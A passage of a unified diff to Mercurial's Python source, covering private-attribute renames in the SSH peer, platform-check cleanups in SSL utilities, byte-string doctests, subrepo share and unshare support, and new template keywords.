+        self._pipeo, self._pipei, self._pipee, self._subprocess = sub
 
-        self.pipei = util.bufferedinputpipe(self.pipei)
-        self.pipei = doublepipe(self.ui, self.pipei, self.pipee)
-        self.pipeo = doublepipe(self.ui, self.pipeo, self.pipee)
+        self._pipei = util.bufferedinputpipe(self._pipei)
+        self._pipei = doublepipe(self.ui, self._pipei, self._pipee)
+        self._pipeo = doublepipe(self.ui, self._pipeo, self._pipee)
 
         def badresponse():
             self._abort(error.RepoError(_('no suitable response from '
@@ -206,7 +219,7 @@
         while lines[-1] and max_noise:
             try:
                 l = r.readline()
-                self.readerr()
+                self._readerr()
                 if lines[-1] == "1\n" and l == "\n":
                     break
                 if l:
@@ -224,30 +237,27 @@
                 self._caps.update(l[:-1].split(":")[1].split())
                 break
 
-    def _capabilities(self):
-        return self._caps
-
-    def readerr(self):
-        _forwardoutput(self.ui, self.pipee)
+    def _readerr(self):
+        _forwardoutput(self.ui, self._pipee)
 
     def _abort(self, exception):
-        self.cleanup()
+        self._cleanup()
         raise exception
 
-    def cleanup(self):
-        if self.pipeo is None:
+    def _cleanup(self):
+        if self._pipeo is None:
             return
-        self.pipeo.close()
-        self.pipei.close()
+        self._pipeo.close()
+        self._pipei.close()
         try:
             # read the error descriptor until EOF
-            for l in self.pipee:
+            for l in self._pipee:
                 self.ui.status(_("remote: "), l)
         except (IOError, ValueError):
             pass
-        self.pipee.close()
+        self._pipee.close()
 
-    __del__ = cleanup
+    __del__ = _cleanup
 
     def _submitbatch(self, req):
         rsp = self._callstream("batch", cmds=wireproto.encodebatchcmds(req))
@@ -271,7 +281,7 @@
     def _callstream(self, cmd, **args):
         args = pycompat.byteskwargs(args)
         self.ui.debug("sending %s command\n" % cmd)
-        self.pipeo.write("%s\n" % cmd)
+        self._pipeo.write("%s\n" % cmd)
         _func, names = wireproto.commands[cmd]
         keys = names.split()
         wireargs = {}
@@ -283,16 +293,16 @@
                 wireargs[k] = args[k]
                 del args[k]
         for k, v in sorted(wireargs.iteritems()):
-            self.pipeo.write("%s %d\n" % (k, len(v)))
+            self._pipeo.write("%s %d\n" % (k, len(v)))
             if isinstance(v, dict):
                 for dk, dv in v.iteritems():
-                    self.pipeo.write("%s %d\n" % (dk, len(dv)))
-                    self.pipeo.write(dv)
+                    self._pipeo.write("%s %d\n" % (dk, len(dv)))
+                    self._pipeo.write(dv)
             else:
-                self.pipeo.write(v)
-        self.pipeo.flush()
+                self._pipeo.write(v)
+        self._pipeo.flush()
 
-        return self.pipei
+        return self._pipei
 
     def _callcompressable(self, cmd, **args):
         return self._callstream(cmd, **args)
@@ -321,58 +331,29 @@
         for d in iter(lambda: fp.read(4096), ''):
             self._send(d)
         self._send("", flush=True)
-        return self.pipei
+        return self._pipei
 
     def _getamount(self):
-        l = self.pipei.readline()
+        l = self._pipei.readline()
         if l == '\n':
-            self.readerr()
+            self._readerr()
             msg = _('check previous remote output')
             self._abort(error.OutOfBandError(hint=msg))
-        self.readerr()
+        self._readerr()
         try:
             return int(l)
         except ValueError:
             self._abort(error.ResponseError(_("unexpected response:"), l))
 
     def _recv(self):
-        return self.pipei.read(self._getamount())
+        return self._pipei.read(self._getamount())
 
     def _send(self, data, flush=False):
-        self.pipeo.write("%d\n" % len(data))
+        self._pipeo.write("%d\n" % len(data))
         if data:
-            self.pipeo.write(data)
+            self._pipeo.write(data)
         if flush:
-            self.pipeo.flush()
-        self.readerr()
-
-    def lock(self):
-        self._call("lock")
-        return remotelock(self)
-
-    def unlock(self):
-        self._call("unlock")
-
-    def addchangegroup(self, cg, source, url, lock=None):
-        '''Send a changegroup to the remote server.  Return an integer
-        similar to unbundle(). DEPRECATED, since it requires locking the
-        remote.'''
-        d = self._call("addchangegroup")
-        if d:
-            self._abort(error.RepoError(_("push refused: %s") % d))
-        for d in iter(lambda: cg.read(4096), ''):
-            self.pipeo.write(d)
-            self.readerr()
-
-        self.pipeo.flush()
-
-        self.readerr()
-        r = self._recv()
-        if not r:
-            return 1
-        try:
-            return int(r)
-        except ValueError:
-            self._abort(error.ResponseError(_("unexpected response:"), r))
+            self._pipeo.flush()
+        self._readerr()
 
 instance = sshpeer
diff --git a/mercurial/sshserver.py b/mercurial/sshserver.py
--- a/mercurial/sshserver.py
+++ b/mercurial/sshserver.py
@@ -127,7 +127,8 @@
                 r = impl()
                 if r is not None:
                     self.sendresponse(r)
-            else: self.sendresponse("")
+            else:
+                self.sendresponse("")
         return cmd != ''
 
     def _client(self):
diff --git a/mercurial/sslutil.py b/mercurial/sslutil.py
--- a/mercurial/sslutil.py
+++ b/mercurial/sslutil.py
@@ -186,8 +186,7 @@
 
     # Look for fingerprints in [hostsecurity] section. Value is a list
     # of <alg>:<fingerprint> strings.
-    fingerprints = ui.configlist('hostsecurity', '%s:fingerprints' % hostname,
-                                 [])
+    fingerprints = ui.configlist('hostsecurity', '%s:fingerprints' % hostname)
     for fingerprint in fingerprints:
         if not (fingerprint.startswith(('sha1:', 'sha256:', 'sha512:'))):
             raise error.Abort(_('invalid fingerprint for %s: %s') % (
@@ -200,7 +199,7 @@
         s['certfingerprints'].append((alg, fingerprint))
 
     # Fingerprints from [hostfingerprints] are always SHA-1.
-    for fingerprint in ui.configlist('hostfingerprints', hostname, []):
+    for fingerprint in ui.configlist('hostfingerprints', hostname):
         fingerprint = fingerprint.replace(':', '').lower()
         s['certfingerprints'].append(('sha1', fingerprint))
         s['legacyfingerprint'] = True
@@ -477,7 +476,7 @@
                         'for more info)\n'))
 
             elif (e.reason == 'CERTIFICATE_VERIFY_FAILED' and
-                pycompat.osname == 'nt'):
+                pycompat.iswindows):
 
                 ui.warn(_('(the full certificate chain may not be available '
                           'locally; see "hg help debugssl")\n'))
@@ -677,8 +676,8 @@
       for using system certificate store CAs in addition to the provided
       cacerts file
     """
-    if (pycompat.sysplatform != 'darwin' or
-                        util.mainfrozen() or not pycompat.sysexecutable):
+    if (not pycompat.isdarwin or util.mainfrozen() or
+        not pycompat.sysexecutable):
         return False
     exe = os.path.realpath(pycompat.sysexecutable).lower()
     return (exe.startswith('/usr/bin/python') or
@@ -717,7 +716,7 @@
     # because we'll get a certificate verification error later and the lack
     # of loaded CA certificates will be the reason why.
     # Assertion: this code is only called if certificates are being verified.
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         if not _canloaddefaultcerts:
             ui.warn(_('(unable to load Windows CA certificates; see '
                       'https://mercurial-scm.org/wiki/SecureConnections for '
@@ -736,7 +735,7 @@
 
     # The Apple OpenSSL trick isn't available to us. If Python isn't able to
     # load system certs, we're out of luck.
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         # FUTURE Consider looking for Homebrew or MacPorts installed certs
         # files. Also consider exporting the keychain certs to a file during
         # Mercurial install.
@@ -749,7 +748,7 @@
     # / is writable on Windows. Out of an abundance of caution make sure
     # we're not on Windows because paths from _systemcacerts could be installed
     # by non-admin users.
-    assert pycompat.osname != 'nt'
+    assert not pycompat.iswindows
 
     # Try to find CA certificates in well-known locations. We print a warning
     # when using a found file because we don't want too much silent magic
diff --git a/mercurial/store.py b/mercurial/store.py
--- a/mercurial/store.py
+++ b/mercurial/store.py
@@ -27,13 +27,13 @@
 # foo.i or foo.d
 def _encodedir(path):
     '''
-    >>> _encodedir('data/foo.i')
+    >>> _encodedir(b'data/foo.i')
     'data/foo.i'
-    >>> _encodedir('data/foo.i/bla.i')
+    >>> _encodedir(b'data/foo.i/bla.i')
     'data/foo.i.hg/bla.i'
-    >>> _encodedir('data/foo.i.hg/bla.i')
+    >>> _encodedir(b'data/foo.i.hg/bla.i')
     'data/foo.i.hg.hg/bla.i'
-    >>> _encodedir('data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
+    >>> _encodedir(b'data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
     'data/foo.i\\ndata/foo.i.hg/bla.i\\ndata/foo.i.hg.hg/bla.i\\n'
     '''
     return (path
@@ -45,11 +45,11 @@
 
 def decodedir(path):
     '''
-    >>> decodedir('data/foo.i')
+    >>> decodedir(b'data/foo.i')
     'data/foo.i'
-    >>> decodedir('data/foo.i.hg/bla.i')
+    >>> decodedir(b'data/foo.i.hg/bla.i')
     'data/foo.i/bla.i'
-    >>> decodedir('data/foo.i.hg.hg/bla.i')
+    >>> decodedir(b'data/foo.i.hg.hg/bla.i')
     'data/foo.i.hg/bla.i'
     '''
     if ".hg/" not in path:
@@ -80,24 +80,24 @@
     '''
     >>> enc, dec = _buildencodefun()
 
-    >>> enc('nothing/special.txt')
+    >>> enc(b'nothing/special.txt')
     'nothing/special.txt'
-    >>> dec('nothing/special.txt')
+    >>> dec(b'nothing/special.txt')
     'nothing/special.txt'
 
-    >>> enc('HELLO')
+    >>> enc(b'HELLO')
     '_h_e_l_l_o'
-    >>> dec('_h_e_l_l_o')
+    >>> dec(b'_h_e_l_l_o')
     'HELLO'
 
-    >>> enc('hello:world?')
+    >>> enc(b'hello:world?')
     'hello~3aworld~3f'
-    >>> dec('hello~3aworld~3f')
+    >>> dec(b'hello~3aworld~3f')
     'hello:world?'
 
-    >>> enc('the\x07quick\xADshot')
+    >>> enc(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
-    >>> dec('the~07quick~adshot')
+    >>> dec(b'the~07quick~adshot')
     'the\\x07quick\\xadshot'
     '''
     e = '_'
@@ -133,14 +133,14 @@
 
 def encodefilename(s):
     '''
-    >>> encodefilename('foo.i/bar.d/bla.hg/hi:world?/HELLO')
+    >>> encodefilename(b'foo.i/bar.d/bla.hg/hi:world?/HELLO')
     'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o'
     '''
     return _encodefname(encodedir(s))
 
 def decodefilename(s):
     '''
-    >>> decodefilename('foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
+    >>> decodefilename(b'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
     'foo.i/bar.d/bla.hg/hi:world?/HELLO'
     '''
     return decodedir(_decodefname(s))
@@ -148,21 +148,24 @@
 def _buildlowerencodefun():
     '''
     >>> f = _buildlowerencodefun()
-    >>> f('nothing/special.txt')
+    >>> f(b'nothing/special.txt')
     'nothing/special.txt'
-    >>> f('HELLO')
+    >>> f(b'HELLO')
     'hello'
-    >>> f('hello:world?')
+    >>> f(b'hello:world?')
     'hello~3aworld~3f'
-    >>> f('the\x07quick\xADshot')
+    >>> f(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
     '''
-    cmap = dict([(chr(x), chr(x)) for x in xrange(127)])
+    xchr = pycompat.bytechr
+    cmap = dict([(xchr(x), xchr(x)) for x in xrange(127)])
     for x in _reserved():
-        cmap[chr(x)] = "~%02x" % x
+        cmap[xchr(x)] = "~%02x" % x
     for x in range(ord("A"), ord("Z") + 1):
-        cmap[chr(x)] = chr(x).lower()
-    return lambda s: "".join([cmap[c] for c in s])
+        cmap[xchr(x)] = xchr(x).lower()
+    def lowerencode(s):
+        return "".join([cmap[c] for c in pycompat.iterbytestr(s)])
+    return lowerencode
 
 lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun()
 
@@ -180,15 +183,15 @@
     basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux"
     doesn't need encoding.
 
-    >>> s = '.foo/aux.txt/txt.aux/con/prn/nul/foo.'
-    >>> _auxencode(s.split('/'), True)
+    >>> s = b'.foo/aux.txt/txt.aux/con/prn/nul/foo.'
+    >>> _auxencode(s.split(b'/'), True)
     ['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e']
-    >>> s = '.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
-    >>> _auxencode(s.split('/'), False)
+    >>> s = b'.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
+    >>> _auxencode(s.split(b'/'), False)
     ['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e']
-    >>> _auxencode(['foo. '], True)
+    >>> _auxencode([b'foo. '], True)
     ['foo.~20']
-    >>> _auxencode([' .foo'], True)
+    >>> _auxencode([b' .foo'], True)
     ['~20.foo']
     '''
     for i, n in enumerate(path):
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -134,7 +134,7 @@
             # However, we still want to allow back references to go
             # through unharmed, so we turn r'\\1' into r'\1'. Again,
             # extra escapes are needed because re.sub string decodes.
-            repl = re.sub(r'\\\\([0-9]+)', r'\\\1', repl)
+            repl = re.sub(br'\\\\([0-9]+)', br'\\\1', repl)
             try:
                 src = re.sub(pattern, repl, src, 1)
             except re.error as e:
@@ -600,7 +600,6 @@
         walk recursively through the directory tree, finding all files
         matched by the match function
         '''
-        pass
 
     def forget(self, match, prefix):
         return ([], [])
@@ -622,6 +621,11 @@
     def shortid(self, revid):
         return revid
 
+    def unshare(self):
+        '''
+        convert this repository from shared to normal storage.
+        '''
+
     def verify(self):
         '''verify the integrity of the repository.  Return 0 on success or
         warning, 1 on any error.
@@ -858,21 +862,32 @@
 
     def _get(self, state):
         source, revision, kind = state
+        parentrepo = self._repo._subparent
+
         if revision in self._repo.unfiltered():
-            return True
+            # Allow shared subrepos tracked at null to setup the sharedpath
+            if len(self._repo) != 0 or not parentrepo.shared():
+                return True
         self._repo._subsource = source
         srcurl = _abssource(self._repo)
         other = hg.peer(self._repo, {}, srcurl)
         if len(self._repo) == 0:
-            self.ui.status(_('cloning subrepo %s from %s\n')
-                           % (subrelpath(self), srcurl))
-            parentrepo = self._repo._subparent
             # use self._repo.vfs instead of self.wvfs to remove .hg only
             self._repo.vfs.rmtree()
-            other, cloned = hg.clone(self._repo._subparent.baseui, {},
-                                     other, self._repo.root,
-                                     update=False)
-            self._repo = cloned.local()
+            if parentrepo.shared():
+                self.ui.status(_('sharing subrepo %s from %s\n')
+                               % (subrelpath(self), srcurl))
+                shared = hg.share(self._repo._subparent.baseui,
+                                  other, self._repo.root,
+                                  update=False, bookmarks=False)
+                self._repo = shared.local()
+            else:
+                self.ui.status(_('cloning subrepo %s from %s\n')
+                               % (subrelpath(self), srcurl))
+                other, cloned = hg.clone(self._repo._subparent.baseui, {},
+                                         other, self._repo.root,
+                                         update=False)
+                self._repo = cloned.local()
             self._initrepo(parentrepo, source, create=True)
             self._cachestorehash(srcurl)
         else:
@@ -1073,6 +1088,24 @@
     def shortid(self, revid):
         return revid[:12]
 
+    @annotatesubrepoerror
+    def unshare(self):
+        # subrepo inherently violates our import layering rules
+        # because it wants to make repo objects from deep inside the stack
+        # so we manually delay the circular imports to not break
+        # scripts that don't use our demand-loading
+        global hg
+        from . import hg as h
+        hg = h
+
+        # Nothing prevents a user from sharing in a repo, and then making that a
+        # subrepo.  Alternately, the previous unshare attempt may have failed
+        # part way through.  So recurse whether or not this layer is shared.
+        if self._repo.shared():
+            self.ui.status(_("unsharing subrepo '%s'\n") % self._relpath)
+
+        hg.unshare(self.ui, self._repo)
+
     def verify(self):
         try:
             rev = self._state[1]
@@ -1154,7 +1187,7 @@
     @propertycache
     def _svnversion(self):
         output, err = self._svncommand(['--version', '--quiet'], filename=None)
-        m = re.search(r'^(\d+)\.(\d+)', output)
+        m = re.search(br'^(\d+)\.(\d+)', output)
         if not m:
             raise error.Abort(_('cannot retrieve svn tool version'))
         return (int(m.group(1)), int(m.group(2)))
@@ -1346,8 +1379,9 @@
             genericerror = _("error executing git for subrepo '%s': %s")
             notfoundhint = _("check git is installed and in your PATH")
             if e.errno != errno.ENOENT:
-                raise error.Abort(genericerror % (self._path, e.strerror))
-            elif pycompat.osname == 'nt':
+                raise error.Abort(genericerror % (
+                    self._path, encoding.strtolocal(e.strerror)))
+            elif pycompat.iswindows:
                 try:
                     self._gitexecutable = 'git.cmd'
                     out, err = self._gitnodir(['--version'])
@@ -1358,7 +1392,7 @@
                             hint=notfoundhint)
                     else:
                         raise error.Abort(genericerror % (self._path,
-                            e2.strerror))
+                            encoding.strtolocal(e2.strerror)))
             else:
                 raise error.Abort(_("couldn't find git for subrepo '%s'")
                     % self._path, hint=notfoundhint)
@@ -1372,11 +1406,11 @@
 
     @staticmethod
     def _gitversion(out):
-        m = re.search(r'^git version (\d+)\.(\d+)\.(\d+)', out)
+        m = re.search(br'^git version (\d+)\.(\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
 
-        m = re.search(r'^git version (\d+)\.(\d+)', out)
+        m = re.search(br'^git version (\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), 0)
 
@@ -1387,23 +1421,23 @@
         '''ensure git version is new enough
 
         >>> _checkversion = gitsubrepo._checkversion
-        >>> _checkversion('git version 1.6.0')
+        >>> _checkversion(b'git version 1.6.0')
         'ok'
-        >>> _checkversion('git version 1.8.5')
+        >>> _checkversion(b'git version 1.8.5')
         'ok'
-        >>> _checkversion('git version 1.4.0')
+        >>> _checkversion(b'git version 1.4.0')
         'abort'
-        >>> _checkversion('git version 1.5.0')
+        >>> _checkversion(b'git version 1.5.0')
         'warning'
-        >>> _checkversion('git version 1.9-rc0')
+        >>> _checkversion(b'git version 1.9-rc0')
         'ok'
-        >>> _checkversion('git version 1.9.0.265.g81cdec2')
+        >>> _checkversion(b'git version 1.9.0.265.g81cdec2')
         'ok'
-        >>> _checkversion('git version 1.9.0.GIT')
+        >>> _checkversion(b'git version 1.9.0.GIT')
         'ok'
-        >>> _checkversion('git version 12345')
+        >>> _checkversion(b'git version 12345')
         'unknown'
-        >>> _checkversion('no')
+        >>> _checkversion(b'no')
         'unknown'
         '''
         version = gitsubrepo._gitversion(out)
diff --git a/mercurial/tags.py b/mercurial/tags.py
--- a/mercurial/tags.py
+++ b/mercurial/tags.py
@@ -541,7 +541,7 @@
 
     with repo.wlock():
         repo.tags() # instantiate the cache
-        _tag(repo.unfiltered(), names, node, message, local, user, date,
+        _tag(repo, names, node, message, local, user, date,
              editor=editor)
 
 def _tag(repo, names, node, message, local, user, date, extra=None,
diff --git a/mercurial/templatefilters.py b/mercurial/templatefilters.py
--- a/mercurial/templatefilters.py
+++ b/mercurial/templatefilters.py
@@ -7,18 +7,19 @@
 
 from __future__ import absolute_import
 
-import cgi
 import os
 import re
 import time
 
 from . import (
     encoding,
+    error,
     hbisect,
     node,
     pycompat,
     registrar,
     templatekw,
+    url,
     util,
 )
 
@@ -128,7 +129,7 @@
     """Any text. Replaces the special XML/XHTML characters "&", "<"
     and ">" with XML entities, and filters out NUL characters.
     """
-    return cgi.escape(text.replace('\0', ''), True)
+    return url.escape(text.replace('\0', ''), True)
 
 para_re = None
 space_re = None
@@ -233,6 +234,13 @@
         return pycompat.bytestr(obj)
     elif isinstance(obj, bytes):
         return '"%s"' % encoding.jsonescape(obj, paranoid=paranoid)
+    elif isinstance(obj, str):
+        # This branch is unreachable on Python 2, because bytes == str
+        # and we'll return in the next-earlier block in the elif
+        # ladder. On Python 3, this helps us catch bugs before they
+        # hurt someone.
+        raise error.ProgrammingError(
+            'Mercurial only does output with bytes on Python 3: %r' % obj)
     elif util.safehasattr(obj, 'keys'):
         out = ['"%s": %s' % (encoding.jsonescape(k, paranoid=paranoid),
                              json(v, paranoid))
@@ -275,19 +283,19 @@
     """Any text. Returns the name before an email address,
     interpreting it as per RFC 5322.
 
-    >>> person('foo@bar')
+    >>> person(b'foo@bar')
     'foo'
-    >>> person('Foo Bar <foo@bar>')
+    >>> person(b'Foo Bar <foo@bar>')
     'Foo Bar'
-    >>> person('"Foo Bar" <foo@bar>')
+    >>> person(b'"Foo Bar" <foo@bar>')
     'Foo Bar'
-    >>> person('"Foo \"buz\" Bar" <foo@bar>')
+    >>> person(b'"Foo \"buz\" Bar" <foo@bar>')
     'Foo "buz" Bar'
     >>> # The following are invalid, but do exist in real-life
     ...
-    >>> person('Foo "buz" Bar <foo@bar>')
+    >>> person(b'Foo "buz" Bar <foo@bar>')
     'Foo "buz" Bar'
-    >>> person('"Foo Bar <foo@bar>')
+    >>> person(b'"Foo Bar <foo@bar>')
     'Foo Bar'
     """
     if '@' not in author:
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -11,7 +11,6 @@
 from .node import (
     hex,
     nullid,
-    short,
 )
 
 from . import (
@@ -38,21 +37,19 @@
     - "{files|json}"
     """
 
-    def __init__(self, gen, values, makemap, joinfmt):
+    def __init__(self, gen, values, makemap, joinfmt, keytype=None):
         if gen is not None:
-            self.gen = gen
+            self.gen = gen  # generator or function returning generator
         self._values = values
         self._makemap = makemap
         self.joinfmt = joinfmt
-    @util.propertycache
+        self.keytype = keytype  # hint for 'x in y' where type(x) is unresolved
     def gen(self):
-        return self._defaultgen()
-    def _defaultgen(self):
-        """Generator to stringify this as {join(self, ' ')}"""
-        for i, d in enumerate(self.itermaps()):
+        """Default generator to stringify this as {join(self, ' ')}"""
+        for i, x in enumerate(self._values):
             if i > 0:
                 yield ' '
-            yield self.joinfmt(d)
+            yield self.joinfmt(x)
     def itermaps(self):
         makemap = self._makemap
         for x in self._values:
@@ -71,21 +68,72 @@
             raise AttributeError(name)
         return getattr(self._values, name)
 
+class _mappable(object):
+    """Wrapper for non-list/dict object to support map operation
+
+    This class allows us to handle both:
+    - "{manifest}"
+    - "{manifest % '{rev}:{node}'}"
+    - "{manifest.rev}"
+
+    Unlike a _hybrid, this does not simulate the behavior of the underling
+    value. Use unwrapvalue() or unwraphybrid() to obtain the inner object.
+    """
+
+    def __init__(self, gen, key, value, makemap):
+        if gen is not None:
+            self.gen = gen  # generator or function returning generator
+        self._key = key
+        self._value = value  # may be generator of strings
+        self._makemap = makemap
+
+    def gen(self):
+        yield pycompat.bytestr(self._value)
+
+    def tomap(self):
+        return self._makemap(self._key)
+
+    def itermaps(self):
+        yield self.tomap()
+
 def hybriddict(data, key='key', value='value', fmt='%s=%s', gen=None):
     """Wrap data to support both dict-like and string-like operations"""
     return _hybrid(gen, data, lambda k: {key: k, value: data[k]},
-                   lambda d: fmt % (d[key], d[value]))
+                   lambda k: fmt % (k, data[k]))
 
 def hybridlist(data, name, fmt='%s', gen=None):
     """Wrap data to support both list-like and string-like operations"""
-    return _hybrid(gen, data, lambda x: {name: x}, lambda d: fmt % d[name])
+    return _hybrid(gen, data, lambda x: {name: x}, lambda x: fmt % x)
 
 def unwraphybrid(thing):
     """Return an object which can be stringified possibly by using a legacy
     template"""
-    if not util.safehasattr(thing, 'gen'):
+    gen = getattr(thing, 'gen', None)
+    if gen is None:
+        return thing
+    if callable(gen):
+        return gen()
+    return gen
+
+def unwrapvalue(thing):
+    """Move the inner value object out of the wrapper"""
+    if not util.safehasattr(thing, '_value'):
         return thing
-    return thing.gen
+    return thing._value
+
+def wraphybridvalue(container, key, value):
+    """Wrap an element of hybrid container to be mappable
+
+    The key is passed to the makemap function of the given container, which
+    should be an item generated by iter(container).
+    """
+    makemap = getattr(container, '_makemap', None)
+    if makemap is None:
+        return value
+    if util.safehasattr(value, '_makemap'):
+        # a nested hybrid list/dict, which has its own way of map operation
+        return value
+    return _mappable(None, key, value, makemap)
 
 def showdict(name, data, mapping, plural=None, key='key', value='value',
              fmt='%s=%s', separator=' '):
@@ -163,16 +211,6 @@
     if endname in templ:
         yield templ(endname, **strmapping)
 
-def _formatrevnode(ctx):
-    """Format changeset as '{rev}:{node|formatnode}', which is the default
-    template provided by cmdutil.changeset_templater"""
-    repo = ctx.repo()
-    if repo.ui.debugflag:
-        hexfunc = hex
-    else:
-        hexfunc = short
-    return '%d:%s' % (scmutil.intrev(ctx), hexfunc(scmutil.binnode(ctx)))
-
 def getfiles(repo, ctx, revcache):
     if 'files' not in revcache:
         revcache['files'] = repo.status(ctx.p1(), ctx)[:3]
@@ -326,7 +364,7 @@
     active = repo._activebookmark
     makemap = lambda v: {'bookmark': v, 'active': active, 'current': active}
     f = _showlist('bookmark', bookmarks, args)
-    return _hybrid(f, bookmarks, makemap, lambda x: x['bookmark'])
+    return _hybrid(f, bookmarks, makemap, pycompat.identity)
 
 @templatekeyword('children')
 def showchildren(**args):
@@ -339,14 +377,13 @@
 # Deprecated, but kept alive for help generation a purpose.
 @templatekeyword('currentbookmark')
 def showcurrentbookmark(**args):
-    """String. The active bookmark, if it is
-    associated with the changeset (DEPRECATED)"""
+    """String. The active bookmark, if it is associated with the changeset.
+    (DEPRECATED)"""
     return showactivebookmark(**args)
 
 @templatekeyword('activebookmark')
 def showactivebookmark(**args):
-    """String. The active bookmark, if it is
-    associated with the changeset"""
+    """String. The active bookmark, if it is associated with the changeset."""
     active = args[r'repo']._activebookmark
     if active and active in args[r'ctx'].bookmarks():
         return active
@@ -395,7 +432,7 @@
     c = [makemap(k) for k in extras]
     f = _showlist('extra', c, args, plural='extras')
     return _hybrid(f, extras, makemap,
-                   lambda x: '%s=%s' % (x['key'], util.escapestr(x['value'])))
+                   lambda k: '%s=%s' % (k, util.escapestr(extras[k])))
 
 @templatekeyword('file_adds')
 def showfileadds(**args):
@@ -467,8 +504,8 @@
 
 @templatekeyword('graphnode')
 def showgraphnode(repo, ctx, **args):
-    """String. The character representing the changeset node in
-    an ASCII revision graph"""
+    """String. The character representing the changeset node in an ASCII
+    revision graph."""
     wpnodes = repo.dirstate.parents()
     if wpnodes[1] == nullid:
         wpnodes = wpnodes[:1]
@@ -481,6 +518,13 @@
     else:
         return 'o'
 
+@templatekeyword('graphwidth')
+def showgraphwidth(repo, ctx, templ, **args):
+    """Integer. The width of the graph drawn by 'log --graph' or zero."""
+    # The value args['graphwidth'] will be this function, so we use an internal
+    # name to pass the value through props into this function.
+    return args.get('_graphwidth', 0)
+
 @templatekeyword('index')
 def showindex(**args):
     """Integer. The current iteration of the loop. (0 indexed)"""
@@ -514,7 +558,7 @@
 
     tags = latesttags[2]
     f = _showlist('latesttag', tags, args, separator=':')
-    return _hybrid(f, tags, makemap, lambda x: x['latesttag'])
+    return _hybrid(f, tags, makemap, pycompat.identity)
 
 @templatekeyword('latesttagdistance')
 def showlatesttagdistance(repo, ctx, templ, cache, **args):
@@ -547,10 +591,31 @@
     if mnode is None:
         # just avoid crash, we might want to use the 'ff...' hash in future
         return
+    mrev = repo.manifestlog._revlog.rev(mnode)
+    mhex = hex(mnode)
     args = args.copy()
-    args.update({r'rev': repo.manifestlog._revlog.rev(mnode),
-                 r'node': hex(mnode)})
-    return templ('manifest', **args)
+    args.update({r'rev': mrev, r'node': mhex})
+    f = templ('manifest', **args)
+    # TODO: perhaps 'ctx' should be dropped from mapping because manifest
+    # rev and node are completely different from changeset's.
+    return _mappable(f, None, f, lambda x: {'rev': mrev, 'node': mhex})
+
+@templatekeyword('obsfate')
+def showobsfate(**args):
+    # this function returns a list containing pre-formatted obsfate strings.
+    #
+    # This function will be replaced by templates fragments when we will have
+    # the verbosity templatekw available.
+    succsandmarkers = showsuccsandmarkers(**args)
+
+    ui = args['ui']
+
+    values = []
+
+    for x in succsandmarkers:
+        values.append(obsutil.obsfateprinter(x['successors'], x['markers'], ui))
+
+    return showlist("fate", values, args)
 
 def shownames(namespace, **args):
     """helper method to generate a template keyword for a namespace"""
@@ -570,13 +635,14 @@
     repo = ctx.repo()
 
     namespaces = util.sortdict()
-    colornames = {}
-    builtins = {}
+    def makensmapfn(ns):
+        # 'name' for iterating over namespaces, templatename for local reference
+        return lambda v: {'name': v, ns.templatename: v}
 
     for k, ns in repo.names.iteritems():
-        namespaces[k] = showlist('name', ns.names(repo, ctx.node()), args)
-        colornames[k] = ns.colorname
-        builtins[k] = ns.builtin
+        names = ns.names(repo, ctx.node())
+        f = _showlist('name', names, args)
+        namespaces[k] = _hybrid(f, names, makensmapfn(ns), pycompat.identity)
 
     f = _showlist('namespace', list(namespaces), args)
 
@@ -584,11 +650,11 @@
         return {
             'namespace': ns,
             'names': namespaces[ns],
-            'builtin': builtins[ns],
-            'colorname': colornames[ns],
+            'builtin': repo.names[ns].builtin,
+            'colorname': repo.names[ns].colorname,
         }
 
-    return _hybrid(f, namespaces, makemap, lambda x: x['namespace'])
+    return _hybrid(f, namespaces, makemap, pycompat.identity)
 
 @templatekeyword('node')
 def shownode(repo, ctx, templ, **args):
@@ -599,48 +665,40 @@
 
 @templatekeyword('obsolete')
 def showobsolete(repo, ctx, templ, **args):
-    """String. Whether the changeset is obsolete.
-    """
+    """String. Whether the changeset is obsolete. (EXPERIMENTAL)"""
     if ctx.obsolete():
         return 'obsolete'
     return ''
 
-@templatekeyword('peerpaths')
-def showpeerpaths(repo, **args):
+@templatekeyword('peerurls')
+def showpeerurls(repo, **args):
     """A dictionary of repository locations defined in the [paths] section
-    of your configuration file. (EXPERIMENTAL)"""
+    of your configuration file."""
     # see commands.paths() for naming of dictionary keys
-    paths = util.sortdict()
-    for k, p in sorted(repo.ui.paths.iteritems()):
-        d = util.sortdict()
-        d['url'] = p.rawloc
+    paths = repo.ui.paths
+    urls = util.sortdict((k, p.rawloc) for k, p in sorted(paths.iteritems()))
+    def makemap(k):
+        p = paths[k]
+        d = {'name': k, 'url': p.rawloc}
         d.update((o, v) for o, v in sorted(p.suboptions.iteritems()))
-        def f():
-            yield d['url']
-        paths[k] = hybriddict(d, gen=f())
-
-    # no hybriddict() since d['path'] can't be formatted as a string. perhaps
-    # hybriddict() should call templatefilters.stringify(d[value]).
-    return _hybrid(None, paths, lambda k: {'name': k, 'path': paths[k]},
-                   lambda d: '%s=%s' % (d['name'], d['path']['url']))
+        return d
+    return _hybrid(None, urls, makemap, lambda k: '%s=%s' % (k, urls[k]))
 
